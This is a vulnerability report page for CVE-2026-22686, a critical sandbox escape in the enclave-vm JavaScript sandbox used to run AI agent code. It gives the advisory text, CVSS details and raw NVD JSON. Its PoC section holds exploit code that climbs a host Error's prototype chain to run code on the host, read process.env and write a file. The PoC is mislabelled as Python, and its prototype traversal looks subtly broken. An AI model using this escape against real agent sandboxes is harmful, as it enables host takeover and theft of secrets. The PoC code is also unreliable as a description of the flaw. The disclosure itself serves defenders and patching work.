Security Vulnerability Report
中文
CVE-2026-22686 CVSS 10.0 CRITICAL

CVE-2026-22686

Published: 2026-01-14 00:15:50
Last Modified: 2026-02-24 19:23:06

Description

Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:agentfront:enclave:*:*:*:*:*:node.js:*:* - VULNERABLE
enclave-vm < 2.7.0
enclave (npm package) < 2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22686 PoC - Sandbox Escape via Error Prototype Chain // Target: enclave-vm < 2.7.0 // Step 1: Intentionally trigger a tool invocation failure to get host Error object try { // Call a non-existent tool to trigger error enclave.callTool('non_existent_tool_xyz'); } catch (hostError) { // Step 2: Traverse the prototype chain to reach host Function constructor const getFunction = hostError.__proto__.__proto__.__proto__; // Step 3: Use host Function constructor to execute arbitrary code const executeOnHost = getFunction.constructor; // Execute arbitrary command on host - read sensitive env variables const result = executeOnHost('process.env')(); console.log('Host env stolen:', result); // Alternative: Execute arbitrary code executeOnHost('require("fs").writeFileSync("/tmp/pwned.txt", "sandbox escaped")')(); } // Simplified PoC - Direct prototype chain traversal const maliciousCode = ` try { dummy_tool_call(); } catch(e) { // Climb prototype chain to get Function const Fn = e.__proto__.__proto__.__proto__; // Execute code on host Fn.constructor('console.log(process.env.HOME)')(); } `;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22686", "sourceIdentifier": "[email protected]", "published": "2026-01-14T00:15:49.957", "lastModified": "2026-02-24T19:23:05.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0."}, {"lang": "es", "value": "Enclave es un sandbox seguro de JavaScript diseñado para la ejecución segura de código de agentes de IA. Antes de la versión 2.7.0, existe una vulnerabilidad crítica de escape de sandbox en enclave-vm que permite que código JavaScript no confiable y en el sandbox ejecute código arbitrario en el entorno de ejecución de Node.js del host. Cuando falla la invocación de una herramienta, enclave-vm expone un objeto Error del lado del host al código en el sandbox. Este objeto Error conserva su cadena de prototipos del ámbito del host, la cual puede ser recorrida para alcanzar el constructor Function del host. Un atacante puede desencadenar intencionalmente un error del host y luego escalar la cadena de prototipos. Utilizando el constructor Function del host, se puede compilar y ejecutar JavaScript arbitrario en el contexto del host, eludiendo completamente el sandbox y otorgando acceso a recursos sensibles como process.env, el sistema de archivos y la red. Esto rompe la garantía de seguridad central de enclave-vm de aislar el código no confiable. Esta vulnerabilidad está corregida en la versión 2.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:agentfront:enclave:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.7.0", "matchCriteriaId": "1F1DF281-9FD8-41F0-A35B-50C6F5449734"}]}]}], "references": [{"url": "https://github.com/agentfront/enclave/commit/ed8bc438b2cd6e6f0b5f2de321e5be6f0169b5a1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/agentfront/enclave/security/advisories/GHSA-7qm7-455j-5p63", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}